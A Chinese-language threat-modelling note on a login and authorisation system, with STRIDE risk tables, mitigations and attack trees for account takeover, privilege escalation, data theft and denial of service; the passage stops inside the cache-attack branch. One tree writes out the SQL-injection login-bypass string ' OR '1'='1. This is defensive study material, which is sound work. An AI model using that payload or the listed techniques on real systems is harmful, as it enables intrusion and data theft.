威胁建模-用户认证与授权系统
本文针对用户认证与授权系统,使用威胁建模的方法,加深对于web漏洞的理解,完善自我的知识框架。使用AI生成尽可能系统遍历可能出现的风险。
功能总结
基础认证功能包括用户注册(邮箱/手机号注册、用户名注册、第三方登录如Google/Facebook/微信等)、登录功能(账号密码登录、手机验证码登录、扫码登录、生物识别登录)、登出功能、密码管理(找回密码、重置密码、修改密码、密码强度验证)。
会话管理涉及Token管理(JWT、Session、Cookie)、单点登录SSO、多设备登录控制、强制下线功能、会话超时处理。
权限控制需要实现角色管理RBAC、权限分配、菜单权限、按钮权限、数据权限(行级、列级)、API权限控制。
账户安全包含双因素认证2FA、验证码机制(图形验证码、滑动验证、行为验证)、登录保护(防暴力破解、IP白名单/黑名单、异地登录提醒)、设备管理。
数据流图(DFD)威胁分析
DFD没用微软的威胁分析工具,直接用的画图工具

信任边界:
- 用户设备 <-> 前端应用(公网传输)
- 前端 <-> 认证服务(防火墙边界)
- 认证服务 <-> 数据库(内网边界)
- 系统 <-> 第三方OAuth(外部依赖边界)
威胁建模分析
S - Spoofing(身份欺骗)
| 威胁场景 | 风险等级 | 缓解措施 |
|---|---|---|
| 伪造注册信息(假邮箱/手机) | 高 | 邮箱/短信验证码双重验证 设备指纹识别 IP信誉检查 |
| Session劫持/Token伪造 | 严重 | JWT使用强加密算法(RS256) Token短生命周期+刷新机制 绑定设备指纹和IP |
| OAuth回调劫持 | 高 | 验证redirect_uri白名单 使用state参数防CSRF PKCE扩展(移动端) |
| 生物识别绕过 | 中 | 活体检测 多因素组合验证 异常行为监控 |
T - Tampering(数据篡改)
| 威胁场景 | 风险等级 | 缓解措施 |
|---|---|---|
| 修改Token中的权限信息 | 严重 | JWT签名验证 服务端二次权限校验 使用加密Token而非明文JWT |
| 篡改登录请求参数(如user_id) | 高 | 所有输入参数加密传输 服务端白名单验证 请求签名校验 |
| 修改权限配置数据 | 严重 | 数据库操作审计日志 敏感操作需管理员二次确认 数据完整性校验(哈希) |
| MITM攻击篡改通信 | 高 | 强制HTTPS/TLS 1.3 证书固定(Certificate Pinning) HSTS策略 |
R - Repudiation(抵赖)
| 威胁场景 | 风险等级 | 缓解措施 |
|---|---|---|
| 否认执行敏感操作 | 中 | 完整审计日志(时间、IP、设备、操作) 关键操作留存操作凭证 不可篡改的日志存储(区块链/只读库) |
| 否认修改密码/权限 | 高 | 操作前发送验证码到绑定邮箱/手机 操作后通知用户 数字签名操作记录 |
| 管理员否认越权操作 | 高 | 多人审批机制 操作录屏 分离管理员权限(职责分离) |
I - Information Disclosure(信息泄露)
| 威胁场景 | 风险等级 | 缓解措施 |
|---|---|---|
| 密码明文存储/传输 | 严重 | bcrypt/Argon2加盐哈希 传输层TLS加密 密码历史验证 |
| Token在URL中泄露 | 高 | 禁止Token放URL参数 使用HTTP-Only Cookie或Header 短生命周期Token |
| 用户枚举攻击 | 中 | 统一错误提示("用户名或密码错误") 注册时不提示邮箱已存在 频率限制 |
| 敏感日志泄露 | 高 | 日志脱敏(密码、Token、身份证号) 访问控制 定期清理 |
| 数据库注入获取数据 | 严重 | 参数化查询 ORM框架 最小权限原则 |
| 会话固定攻击 | 中 | 登录后重新生成Session ID 验证Referer/Origin SameSite Cookie属性 |
D - Denial of Service(拒绝服务)
| 威胁场景 | 风险等级 | 缓解措施 |
|---|---|---|
| 暴力破解攻击 | 高 | 登录失败5次锁定账户30分钟 IP级别频率限制(每分钟10次) 验证码升级(图形→滑动→行为) |
| 短信/邮件轰炸 | 中 | 同IP/设备1分钟仅1次 同号码1天最多3次 异常检测(短时间多次请求) |
| 恶意注册消耗资源 | 中 | 邀请码机制 实名认证 风控系统(设备指纹、IP信誉) |
| Session耗尽攻击 | 高 | 限制单用户Session数量 闲置Session自动过期 Redis集群扩展 |
| 2FA重放攻击 | 中 | 验证码单次有效 时间窗口限制(TOTP 30秒) 防重放nonce机制 |
E - Elevation of Privilege(权限提升)
| 威胁场景 | 风险等级 | 缓解措施 |
|---|---|---|
| 垂直越权(普通用户→管理员) | 严重 | 每次请求验证权限(不仅依赖Token) 敏感操作二次验证 角色继承链限制 |
| 水平越权(访问他人数据) | 高 | 数据权限过滤(WHERE user_id=当前用户) 对象级别访问控制 资源ID加密/签名 |
| JWT权限提升 | 严重 | 服务端维护权限列表 Token中不包含敏感权限 短周期刷新权限 |
| OAuth授权范围扩大 | 中 | 严格校验scope参数 用户明确授权确认 最小权限原则 |
| SQL注入修改权限 | 严重 | 参数化查询 权限表操作额外校验 数据库账户权限隔离 |
综合攻击树分析
5个完整的攻击树:
- 账户完全接管 - 覆盖认证绕过、会话劫持、密码重置攻击
- 权限提升攻击 - 包含Token篡改、数据库注入、业务逻辑、OAuth漏洞
- 批量数据窃取 - API越权、数据库直接访问、爬虫、内部威胁
- 拒绝服务攻击 - 认证接口、会话管理、数据库、缓存、资源耗尽
- OAuth/SSO劫持 - OAuth流程、SAML、LDAP/AD、OpenID Connect
账户完全接管
【目标:完全接管目标账户】
│
├─ AND分支A:绕过身份认证
│ │
│ ├─ OR:破解密码
│ │ ├─ 暴力破解
│ │ │ ├─ 字典攻击
│ │ │ │ ├─ 常见密码Top10000
│ │ │ │ ├─ 用户信息衍生(生日+姓名)
│ │ │ │ └─ 历史泄露密码库
│ │ │ ├─ 分布式攻击
│ │ │ │ ├─ 僵尸网络(绕过IP限制)
│ │ │ │ ├─ 云服务器集群
│ │ │ │ └─ Tor网络匿名
│ │ │ └─ 时间窗口攻击
│ │ │ ├─ 利用限流重置时间
│ │ │ └─ 跨时发请求
│ │ │
│ │ ├─ 凭证窃取
│ │ │ ├─ 钓鱼攻击
│ │ │ │ ├─ 仿冒登录页面
│ │ │ │ ├─ 邮件钓鱼(相似域名)
│ │ │ │ ├─ 短信钓鱼
│ │ │ │ └─ 社交媒体假冒
│ │ │ ├─ 恶意软件
│ │ │ │ ├─ 键盘记录器
│ │ │ │ ├─ 浏览器密码窃取
│ │ │ │ ├─ 剪贴板劫持
│ │ │ │ └─ 屏幕截图木马
│ │ │ ├─ 数据泄露
│ │ │ │ ├─ 第三方平台撞库
│ │ │ │ ├─ 暗网购买凭证
│ │ │ │ └─ 公司内部泄露
│ │ │ └─ 肩理观察输入
│ │ │ ├─ 监控摄像头
│ │ │ └─ 公共场所WiFi嗅探
│ │ │
│ │ └─ 社会工程学
│ │ ├─ 冒充技术支持
│ │ ├─ 诱导重置密码
│ │ ├─ 利用客服漏洞
│ │ └─ 内部人员贿赂
│ │
│ ├─ OR:绕过验证码
│ │ ├─ 技术绕过
│ │ │ ├─ OCR识别(图形验证码)
│ │ │ ├─ 机器学习模型破解
│ │ │ ├─ 验证码复用漏洞
│ │ │ ├─ 空验证码绕过
│ │ │ └─ 大小写绕过
│ │ ├─ 人工打码平台
│ │ │ ├─ 国内打码平台
│ │ │ ├─ 国际众包服务
│ │ │ └─ 自建打码团队
│ │ └─ 业务逻辑漏洞
│ │ ├─ 验证码未校验
│ │ ├─ 客户端验证绕过
│ │ ├─ 验证码泄露(日志/错误信息)
│ │ └─ 竞态条件利用
│ │
│ └─ OR:绕过2FA/MFA
│ ├─ SIM卡劫持
│ │ ├─ 社会工程学运营商
│ │ ├─ 伪造身份证件
│ │ ├─ 内部人员协助
│ │ └─ SIM卡克隆技术
│ ├─ 中间人攻击
│ │ ├─ SS7协议漏洞(短信拦截)
│ │ ├─ 恶意基站
│ │ ├─ 伪造WiFi热点
│ │ └─ DNS劫持
│ ├─ 窃取恢复码
│ │ ├─ 云同步服务泄露
│ │ ├─ 截图泄露
│ │ ├─ 物理访问设备
│ │ └─ 社会工程学诱导
│ ├─ 时间同步攻击(TOTP)
│ │ ├─ 暴力尝试时间窗口
│ │ ├─ 服务器时间偏移利用
│ │ └─ 重放已使用验证码
│ └─ 推送通知劫持
│ ├─ 疲劳攻击(频繁推送诱导)
│ ├─ 设备克隆
│ └─ 推送服务中间人攻击
│
├─ OR分支B:会话劫持
│ │
│ ├─ Token/Cookie窃取
│ │ ├─ XSS攻击
│ │ │ ├─ 存储型XSS
│ │ │ │ ├─ 评论区注入
│ │ │ │ ├─ 个人资料字段
│ │ │ │ └─ 富文本编辑器
│ │ │ ├─ 反射型XSS
│ │ │ │ ├─ URL参数注入
│ │ │ │ ├─ 错误信息回显
│ │ │ │ └─ 搜索功能注入
│ │ │ └─ DOM型XSS
│ │ │ ├─ document.write注入
│ │ │ ├─ innerHTML操作
│ │ │ └─ eval执行
│ │ ├─ 网络嗅探
│ │ │ ├─ HTTP明文传输
│ │ │ ├─ 公共WiFi中间人
│ │ │ ├─ ARP欺骗
│ │ │ └─ 路由器劫持
│ │ ├─ 浏览器漏洞
│ │ │ ├─ 同源策略绕过
│ │ │ ├─ 扩展程序恶意读取
│ │ │ ├─ 浏览器缓存读取
│ │ │ └─ 开发者工具泄露
│ │ └─ 恶意脚本注入
│ │ ├─ CDN劫持
│ │ ├─ npm包投毒
│ │ └─ 供应链攻击
│ │
│ ├─ Session固定攻击
│ │ ├─ URL中传递Session ID
│ │ ├─ 诱导使用指定Session
│ │ ├─ Cookie注入
│ │ └─ 登录前后Session未更新
│ │
│ └─ Token重放攻击
│ ├─ 抓包工具截获
│ ├─ 日志文件泄露
│ ├─ 浏览器历史记录
│ └─ Referer头泄露
│
└─ OR分支C:密码重置流程攻击
│
├─ 邮箱/手机劫持
│ ├─ 邮箱账户破解
│ ├─ 邮件服务器中间人
│ ├─ 邮件转发规则篡改
│ └─ 手机号码劫持(SIM卡)
│
├─ 重置链接/验证码攻击
│ ├─ 暴力枚举验证码
│ │ ├─ 4位数字(10000次)
│ │ ├─ 6位数字(100万次)
│ │ └─ 分布式并发尝试
│ ├─ 预测验证码
│ │ ├─ 弱随机数算法
│ │ ├─ 时间戳种子
│ │ └─ 顺序生成
│ ├─ 重置链接未过期
│ │ ├─ 永久有效链接
│ │ ├─ 长期有效(24小时+)
│ │ └─ 使用后未失效
│ └─ Token泄露
│ ├─ Referer头泄露
│ ├─ 邮件服务器日志
│ └─ 浏览器历史记录
│
├─ 安全问题破解
│ ├─ 常见答案字典
│ ├─ 社交媒体信息收集
│ ├─ 公开信息推测
│ └─ 暴力枚举
│
└─ 业务逻辑漏洞
├─ 验证流程可跳过
├─ 用户枚举漏洞
├─ 竞态条件利用
└─ 批量重置攻击
权限提升攻击
【目标:从普通用户提升至管理员权限】
│
├─ AND分支A:修改Token/会话中的权限信息
│ │
│ ├─ JWT攻击
│ │ ├─ 算法混淆攻击
│ │ │ ├─ alg=none绕过
│ │ │ ├─ RS256→HS256降级
│ │ │ └─ 空签名攻击
│ │ ├─ 密钥破解
│ │ │ ├─ 弱密钥暴力破解
│ │ │ ├─ 默认密钥尝试
│ │ │ ├─ 字典攻击
│ │ │ └─ 已知密钥库尝试
│ │ ├─ 密钥泄露
│ │ │ ├─ 源代码泄露(GitHub)
│ │ │ ├─ 配置文件暴露
│ │ │ │ ├─ .env文件
│ │ │ │ ├─ config.yaml
│ │ │ │ └─ 环境变量泄露
│ │ │ ├─ 错误信息泄露
│ │ │ ├─ 内存dump获取
│ │ │ └─ 备份文件泄露
│ │ ├─ Payload篡改
│ │ │ ├─ 修改role字段
│ │ │ ├─ 修改user_id字段
│ │ │ ├─ 添加admin权限
│ │ │ └─ 修改过期时间
│ │ └─ Kid注入攻击
│ │ ├─ SQL注入读取密钥
│ │ ├─ 路径遍历读取文件
│ │ └─ 命令注入
│ │
│ ├─ Session劫持后修改
│ │ ├─ Session存储攻击
│ │ │ ├─ Redis未授权访问
│ │ │ ├─ Memcached注入
│ │ │ └─ 文件Session劫持
│ │ ├─ Session反序列化漏洞
│ │ │ ├─ PHP反序列化
│ │ │ ├─ Java反序列化
│ │ │ └─ Python Pickle注入
│ │ └─ Session固定后提权
│ │
│ └─ Cookie篡改
│ ├─ 未签名Cookie修改
│ ├─ 签名算法破解
│ └─ 重放旧版本Cookie
│
├─ OR分支B:直接修改数据库权限数据
│ │
│ ├─ SQL注入攻击
│ │ ├─ 登录框注入
│ │ │ ├─ 万能密码(' OR '1'='1)
│ │ │ ├─ Union注入
│ │ │ └─ 报错注入
│ │ ├─ 查询参数注入
│ │ │ ├─ GET参数注入
│ │ │ ├─ POST参数注入
│ │ │ └─ Cookie注入
│ │ ├─ 盲注
│ │ │ ├─ 布尔盲注
│ │ │ ├─ 时间盲注
│ │ │ └─ DNS外带
│ │ └─ 二次注入
│ │ ├─ 注册时注入
│ │ └─ 修改资料触发
│ │
│ ├─ 数据库直接访问
│ │ ├─ 弱密码
│ │ │ ├─ 默认密码(root/root)
│ │ │ ├─ 空密码
│ │ │ └─ 简单密码
│ │ ├─ 未授权访问
│ │ │ ├─ MongoDB未授权
│ │ │ ├─ Redis未授权
│ │ │ ├─ Elasticsearch暴露
│ │ │ └─ MySQL允许外网访问
│ │ ├─ 端口扫描+爆破
│ │ └─ 漏洞利用
│ │ ├─ SQL Server xp_cmdshell
│ │ ├─ PostgreSQL命令执行
│ │ └─ MySQL UDF提权
│ │
│ └─ NoSQL注入
│ ├─ MongoDB注入
│ │ ├─ $ne操作符绕过
│ │ ├─ $where代码执行
│ │ └─ 正则表达式注入
│ ├─ Redis注入
│ └─ CouchDB注入
│
├─ OR分支C:利用业务逻辑漏洞
│ │
│ ├─ 注册/创建用户时提权
│ │ ├─ 修改注册请求参数
│ │ │ ├─ 添加role=admin
│ │ │ ├─ 添加is_admin=true
│ │ │ └─ 添加permissions数组
│ │ ├─ 批量注册绕过
│ │ ├─ 特殊字符绕过过滤
│ │ └─ JSON参数污染
│ │
│ ├─ API权限校验缺失
│ │ ├─ 管理员API未鉴权
│ │ │ ├─ /api/admin/users可直接访问
│ │ │ ├─ /api/admin/roles可修改
│ │ │ └─ GraphQL introspection暴露
│ │ ├─ HTTP方法绕过
│ │ │ ├─ GET→POST绕过
│ │ │ ├─ PUT/DELETE未限制
│ │ │ └─ PATCH方法漏洞
│ │ └─ API版本漏洞
│ │ ├─ 旧版本API无鉴权
│ │ ├─ /v1/与/v2/权限不一致
│ │ └─ 未废弃的测试接口
│ │
│ ├─ 参数篡改
│ │ ├─ 修改user_id参数
│ │ ├─ 修改role_id参数
│ │ ├─ 数组参数注入
│ │ │ ├─ user_ids[]=1&user_ids[]=2
│ │ │ └─ roles[admin]=1
│ │ └─ JSON嵌套参数
│ │
│ ├─ 竞态条件攻击
│ │ ├─ 并发修改权限
│ │ ├─ TOCTOU漏洞
│ │ │ ├─ 检查权限时间窗口
│ │ │ └─ 使用权限时间窗口
│ │ └─ 事务处理漏洞
│ │
│ └─ 批量赋权接口滥用
│ ├─ 未校验目标用户
│ ├─ 可赋予超出自身权限
│ └─ 批量操作无限制
│
└─ OR分支D:利用OAuth/SSO漏洞
│
├─ OAuth授权劫持
│ ├─ Redirect_uri劫持
│ │ ├─ 开放重定向漏洞
│ │ ├─ 子域名劫持
│ │ └─ 参数污染
│ ├─ 授权码劫持
│ │ ├─ Referer泄露
│ │ ├─ 中间人攻击
│ │ └─ 浏览器历史
│ └─ Scope提升
│ ├─ 篡改scope参数
│ └─ 多次授权扩大权限
│
├─ SAML攻击
│ ├─ XML签名绕过
│ ├─ XXE注入
│ ├─ Assertion重放
│ └─ 修改用户属性
│
└─ LDAP注入
├─ 认证绕过
├─ 权限查询注入
└─ 组成员修改
批量数据窃取
【目标:批量获取用户敏感信息】
│
├─ AND分支A:通过API批量获取
│ │
│ ├─ 越权访问
│ │ ├─ 水平越权
│ │ │ ├─ 遍历user_id
│ │ │ │ ├─ 顺序ID遍历
│ │ │ │ ├─ UUID碰撞
│ │ │ │ └─ 批量并发请求
│ │ │ ├─ 修改查询参数
│ │ │ │ ├─ user_id参数篡改
│ │ │ │ ├─ account_id修改
│ │ │ │ └─ token中ID替换
│ │ │ └─ Cookie中ID修改
│ │ │
│ │ └─ 垂直越权
│ │ ├─ 访问管理员接口
│ │ │ ├─ /admin/users/export
│ │ │ ├─ /api/admin/data
│ │ │ └─ 批量导出功能
│ │ └─ 权限校验缺失
│ │ ├─ 仅前端限制
│ │ ├─ Token未校验
│ │ └─ 默认允许访问
│ │
│ ├─ API速率限制绕过
│ │ ├─ 分布式IP池
│ │ │ ├─ 云服务器集群
│ │ │ ├─ 代理池轮换
│ │ │ ├─ Tor网络
│ │ │ └─ 僵尸网络
│ │ ├─ 账户池轮换
│ │ │ ├─ 批量注册账号
│ │ │ ├─ 购买账号
│ │ │ └─ 自动切换Token
│ │ ├─ 绕过限流逻辑
│ │ │ ├─ X-Forwarded-For伪造
│ │ │ ├─ User-Agent轮换
│ │ │ ├─ 请求头伪装
│ │ │ └─ 时间窗口利用
│ │ └─ 竞态条件
│ │ └─ 并发请求突破限制
│ │
│ └─ GraphQL深度查询
│ ├─ 嵌套查询滥用
│ │ ├─ 无限深度查询
│ │ ├─ 批量关联查询
│ │ └─ 循环引用
│ ├─ Introspection信息泄露
│ │ ├─ 查询所有字段
│ │ ├─ 发现隐藏接口
│ │ └─ 权限信息暴露
│ └─ 批量查询
│ ├─ Batch请求
│ ├─ Alias别名大量查询
│ └─ Fragment复用
│
├─ OR分支B:数据库直接访问
│ │
│ ├─ SQL注入导出数据
│ │ ├─ Union查询
│ │ │ ├─ 联合查询所有用户
│ │ │ ├─ 跨表查询
│ │ │ └─ 信息schema查询
│ │ ├─ 文件写入
│ │ │ ├─ INTO OUTFILE导出
│ │ │ ├─ DUMPFILE导出
│ │ │ └─ 日志文件写入
│ │ ├─ 时间盲注批量
│ │ │ ├─ 二分法逐字符
│ │ │ ├─ ASCII码判断
│ │ │ └─ 自动化工具(SQLMap)
│ │ └─ DNS外带
│ │ ├─ LOAD_FILE外带
│ │ └─ UNC路径外带
│ │
│ ├─ NoSQL注入
│ │ ├─ MongoDB
│ │ │ ├─ $where代码执行
│ │ │ ├─ 聚合管道滥用
│ │ │ └─ 批量查询
│ │ └─ Redis
│ │ ├─ KEYS *遍历
│ │ ├─ SCAN批量读取
│ │ └─ 未授权访问
│ │
│ └─ 数据库备份窃取
│ ├─ 备份文件暴露
│ │ ├─ .sql文件公开
│ │ ├─ .bak文件下载
│ │ ├─ 备份目录遍历
│ │ └─ 云存储泄露
│ ├─ 备份服务攻击
│ │ ├─ FTP弱密码
│ │ ├─ SFTP爆破
│ │ └─ NFS未授权
│ └─ 快照窃取
│ ├─ 云盘快照公开
│ ├─ 虚拟机快照
│ └─ 容器镜像泄露
│
├─ OR分支C:爬虫/自动化工具
│ │
│ ├─ 搜索功能滥用
│ │ ├─ 用户名搜索
│ │ │ ├─ 常见用户名遍历
│ │ │ ├─ 模糊搜索返回多个
│ │ │ └─ 空搜索返回全部
│ │ ├─ 邮箱/手机搜索
│ │ │ ├─ 前缀遍历
│ │ │ ├─ 正则匹配
│ │ │ └─ 批量验证
│ │ └─ 高级搜索
│ │ ├─ 无限分页
│ │ ├─ 大量结果返回
│ │ └─ 导出功能
│ │
│ ├─ 自动化浏览器
│ │ ├─ Selenium爬取
│ │ ├─ Puppeteer控制
│ │ ├─ 模拟用户行为
│ │ └─ 绕过JS加密
│ │
│ └─ API逆向
│ ├─ 抓包分析
│ ├─ JS反混淆
│ ├─ 签名算法破解
│ └─ 加密参数还原
│
└─ OR分支D:内部人员/供应链
│
├─ 内部人员泄露
│ ├─ 数据库权限滥用
│ │ ├─ DBA导出全表
│ │ ├─ 开发人员测试
│ │ └─ 运维人员备份
│ ├─ 管理后台导出
│ │ ├─ 批量导出功能
│ │ ├─ 报表生成
│ │ └─ 审计日志泄露
│ └─ 社会工程学
│ ├─ 贿赂内部人员
│ ├─ 冒充高管
│ └─ 利用离职员工
│
├─ 供应链攻击
│ ├─ 第三方服务泄露
│ │ ├─ 云服务商漏洞
│ │ ├─ SaaS工具泄露
│ │ └─ 支付接口数据
│ ├─ 开发工具投毒
│ │ ├─ npm包后门
│ │ ├─ 依赖库漏洞
│ │ └─ IDE插件恶意
│ └─ CI/CD渗透
│ ├─ Jenkins未授权
│ ├─ GitLab泄露
│ └─ Docker镜像后门
│
└─ 物理访问
├─ 服务器机房入侵
├─ 员工电脑植入
├─ 网络设备劫持
└─ 垃圾回收信息
拒绝服务攻击
【目标:使认证系统不可用】
│
├─ AND分支A:认证接口攻击
│ │
│ ├─ 登录接口DDoS
│ │ ├─ 应用层攻击
│ │ │ ├─ HTTP Flood
│ │ │ │ ├─ GET请求洪水
│ │ │ │ ├─ POST请求洪水
│ │ │ │ ├─ 慢速HTTP攻击(Slowloris)
│ │ │ │ └─ Range Header攻击
│ │ │ ├─ 大量失败登录
│ │ │ │ ├─ 随机用户名密码
│ │ │ │ ├─ 触发账户锁定机制
│ │ │ │ ├─ 数据库查询压力
│ │ │ │ └─ 密码哈希计算耗尽CPU
│ │ │ ├─ 验证码疲劳
│ │ │ │ ├─ 频繁请求验证码生成
│ │ │ │ ├─ 短信接口耗尽配额
│ │ │ │ ├─ 邮件队列阻塞
│ │ │ │ └─ 验证码存储空间耗尽
│ │ │ └─ 复杂查询攻击
│ │ │ ├─ 正则表达式DoS(ReDoS)
│ │ │ ├─ 深度嵌套JSON解析
│ │ │ └─ XML炸弹(Billion Laughs)
│ │ │
│ │ ├─ 网络层攻击
│ │ │ ├─ SYN Flood
│ │ │ │ ├─ 半连接队列填满
│ │ │ │ └─ 伪造源IP
│ │ │ ├─ UDP Flood
│ │ │ │ ├─ DNS查询洪水
│ │ │ │ └─ NTP放大攻击
│ │ │ ├─ ICMP Flood
│ │ │ │ └─ Ping洪水
│ │ │ └─ 反射放大攻击
│ │ │ ├─ DNS放大(50-100倍)
│ │ │ ├─ NTP放大(556倍)
│ │ │ ├─ SSDP放大(30倍)
│ │ │ └─ Memcached放大(51000倍)
│ │ │
│ │ └─ 协议层攻击
│ │ ├─ SSL/TLS握手攻击
│ │ │ ├─ 大量Client Hello
│ │ │ ├─ SSL重协商攻击
│ │ │ └─ 证书验证压力
│ │ ├─ HTTP/2攻击
│ │ │ ├─ RST Stream Flood
│ │ │ ├─ SETTINGS Frame攻击
│ │ │ ├─ Priority树复杂化
│ │ │ └─ Stream乘法攻击
│ │ └─ WebSocket攻击
│ │ ├─ 连接耗尽
│ │ ├─ 消息洪水
│ │ └─ Ping/Pong滥用
│ │
│ ├─ 注册接口攻击
│ │ ├─ 批量恶意注册
│ │ │ ├─ 资源消耗
│ │ │ │ ├─ 消耗用户ID池
│ │ │ │ ├─ 填满数据库表
│ │ │ │ ├─ 邮箱/手机号占用
│ │ │ │ └─ 存储空间耗尽
│ │ │ ├─ 自动化工具
│ │ │ │ ├─ 验证码识别
│ │ │ │ ├─ 临时邮箱服务
│ │ │ │ ├─ 接码平台
│ │ │ │ └─ 脚本批量注册
│ │ │ └─ 分布式注册
│ │ │ ├─ 多IP池轮换
│ │ │ ├─ 设备指纹伪造
│ │ │ └─ 代理服务器集群
│ │ │
│ │ └─ 验证码轰炸
│ │ ├─ 短信轰炸
│ │ │ ├─ 费用攻击(耗尽短信配额)
│ │ │ ├─ 运营商封禁(高频发送)
│ │ │ ├─ 用户骚扰(恶意发送)
│ │ │ └─ 号码池轮换
│ │ ├─ 邮件轰炸
│ │ │ ├─ SMTP服务器压力
│ │ │ ├─ 邮件队列阻塞
│ │ │ ├─ IP信誉下降(进垃圾箱)
│ │ │ └─ 邮件服务商封禁
│ │ └─ 语音验证码攻击
│ │ ├─ 电话费用消耗
│ │ └─ 语音网关压力
│ │
│ ├─ 密码重置接口攻击
│ │ ├─ 重置链接生成压力
│ │ │ ├─ 批量请求重置
│ │ │ ├─ 邮件/短信资源耗尽
│ │ │ ├─ Token生成计算压力
│ │ │ └─ 数据库写入压力
│ │ ├─ 验证码暴力尝试
│ │ │ ├─ 分布式枚举
│ │ │ ├─ 4位验证码(10000次)
│ │ │ ├─ 6位验证码(100万次)
│ │ │ └─ 并发请求绕过限流
│ │ └─ 用户骚扰
│ │ ├─ 频繁触发重置流程
│ │ ├─ 用户收到大量邮件/短信
│ │ └─ 账户锁定(误触发保护)
│ │
│ └─ 2FA/MFA接口攻击
│ ├─ TOTP验证压力
│ │ ├─ 时间窗口暴力尝试
│ │ ├─ 6位数字(100万次)
│ │ └─ 并发验证请求
│ ├─ 推送通知疲劳
│ │ ├─ 频繁触发推送
│ │ ├─ 推送服务压力
│ │ ├─ 用户疲劳点击
│ │ └─ 推送配额耗尽
│ └─ 备用验证码耗尽
│ ├─ 批量尝试恢复码
│ └─ 触发重新生成
│
├─ OR分支B:会话管理攻击
│ │
│ ├─ Session存储攻击
│ │ ├─ Session洪水
│ │ │ ├─ 大量创建Session
│ │ │ │ ├─ 未登录状态创建
│ │ │ │ ├─ 快速注册创建
│ │ │ │ └─ 多设备登录
│ │ │ ├─ Session存储耗尽
│ │ │ │ ├─ Redis内存占满
│ │ │ │ ├─ Memcached容量满
│ │ │ │ └─ 数据库表空间满
│ │ │ └─ 垃圾Session累积
│ │ │ ├─ 过期不清理
│ │ │ └─ 清理机制失效
│ │ │
│ │ ├─ Session查询压力
│ │ │ ├─ 频繁Session验证
│ │ │ ├─ 大量并发查询
│ │ │ ├─ 慢查询攻击
│ │ │ └─ 索引失效
│ │ │
│ │ └─ Session序列化攻击
│ │ ├─ 大对象Session
│ │ ├─ 序列化CPU压力
│ │ └─ 反序列化漏洞DoS
│ │
│ ├─ Token刷新攻击
│ │ ├─ 频繁刷新Token
│ │ │ ├─ 刷新接口压力
│ │ │ ├─ 黑名单存储耗尽
│ │ │ ├─ 旧Token清理压力
│ │ │ └─ 签名验证CPU消耗
│ │ ├─ 并发刷新竞态
│ │ │ ├─ 同时刷新同一Token
│ │ │ ├─ 事务锁竞争
│ │ │ └─ 死锁风险
│ │ └─ 刷新循环攻击
│ │ ├─ 自动化持续刷新
│ │ └─ Token池膨胀
│ │
│ └─ 强制下线攻击
│ ├─ 批量强制下线
│ │ ├─ 管理接口滥用
│ │ ├─ 所有用户下线
│ │ └─ 服务不可用
│ └─ 下线通知风暴
│ ├─ WebSocket推送压力
│ ├─ 消息队列阻塞
│ └─ 实时通知系统崩溃
│
├─ OR分支C:数据库攻击
│ │
│ ├─ 查询压力攻击
│ │ ├─ 慢查询攻击
│ │ │ ├─ 无索引字段查询
│ │ │ │ ├─ LIKE '%keyword%'
│ │ │ │ ├─ OR条件过多
│ │ │ │ └─ 函数计算字段
│ │ │ ├─ 全表扫描
│ │ │ │ ├─ COUNT(*)无条件
│ │ │ │ ├─ 大表JOIN
│ │ │ │ └─ 子查询嵌套
│ │ │ ├─ 复杂计算
│ │ │ │ ├─ GROUP BY多字段
│ │ │ │ ├─ ORDER BY复杂排序
│ │ │ │ └─ 聚合函数滥用
│ │ │ └─ 正则表达式查询
│ │ │ ├─ REGEXP复杂模式
│ │ │ └─ 回溯爆炸
│ │ │
│ │ ├─ 并发查询攻击
│ │ │ ├─ 连接池耗尽
│ │ │ │ ├─ 最大连接数达到
│ │ │ │ ├─ 长连接占用
│ │ │ │ └─ 连接泄露
│ │ │ ├─ 锁竞争
│ │ │ │ ├─ 表锁争用
│ │ │ │ ├─ 行锁冲突
│ │ │ │ └─ 死锁
│ │ │ └─ CPU/IO耗尽
│ │ │ ├─ CPU 100%
│ │ │ ├─ 磁盘IO满载
│ │ │ └─ 内存swap
│ │ │
│ │ └─ 存储过程攻击
│ │ ├─ 复杂存储过程
│ │ ├─ 递归调用
│ │ └─ 循环嵌套
│ │
│ ├─ 写入压力攻击
│ │ ├─ 批量写入
│ │ │ ├─ 日志表快速增长
│ │ │ │ ├─ 审计日志
│ │ │ │ ├─ 操作日志
│ │ │ │ └─ 错误日志
│ │ │ ├─ 索引维护压力
│ │ │ │ ├─ B-Tree重建
│ │ │ │ ├─ 索引碎片
│ │ │ │ └─ 写入放大
│ │ │ └─ 事务日志膨胀
│ │ │ ├─ Binlog增长
│ │ │ ├─ Redo Log压力
│ │ │ └─ 磁盘空间耗尽
│ │ │
│ │ ├─ 大对象写入
│ │ │ ├─ BLOB/TEXT字段
│ │ │ ├─ JSON大对象
│ │ │ └─ 序列化大数据
│ │ │
│ │ └─ 频繁更新
│ │ ├─ 热点行更新
│ │ ├─ 间隙锁冲突
│ │ └─ MVCC版本链过长
│ │
│ └─ 存储空间攻击
│ ├─ 数据膨胀
│ │ ├─ 用户表快速增长
│ │ ├─ 日志表无限增长
│ │ ├─ 临时表不清理
│ │ └─ 碎片文件累积
│ ├─ 索引膨胀
│ │ ├─ 冗余索引
│ │ ├─ 未使用索引
│ │ └─ 索引碎片
│ └─ 备份失败
│ ├─ 备份空间不足
│ ├─ 备份时间过长
│ └─ 恢复能力丧失
│
├─ OR分支D:缓存系统攻击
│ │
│ ├─ 缓存穿透
│ │ ├─ 查询不存在数据
│ │ │ ├─ 随机用户ID
│ │ │ ├─ 不存在的Key
│ │ │ ├─ 恶意参数
│ │ │ └─ 绕过缓存打到数据库
│ │ ├─ 大量查询压力
│ │ │ ├─ 数据库负载飙升
│ │ │ ├─ 慢查询堆积
│ │ │ └─ 连接池耗尽
│ │ └─ 缓存击穿
│ │ ├─ 热点Key过期
│ │ ├─ 大量并发查询
│ │ └─ 数据库瞬时压力
│ │
│ ├─ 缓存雪崩
│ │ ├─ 批量Key同时过期
│ │ │ ├─ 相同TTL设置
│ │ │ ├─ 缓存预热后统一失效
│ │ │ └─ 定时任务触发
│ │ ├─ 缓存服务宕机
│ │ │ ├─ Redis崩溃
│ │ │ ├─ 内存OOM
│ │ │ ├─ 主从切换
│ │ │ └─ 网络分区
│ │ └─ 数据库过载
│ │ ├─ 连接数爆满
│ │ ├─ CPU/内存耗尽
│ │ └─ 服务不可用
│ │
│ ├─ 缓存污染
│ │ ├─ 大量垃圾数据
│ │ │ ├─ 随机Key写入
│ │ │ ├─ 大Value对象
│ │ │ ├─ 内存耗尽
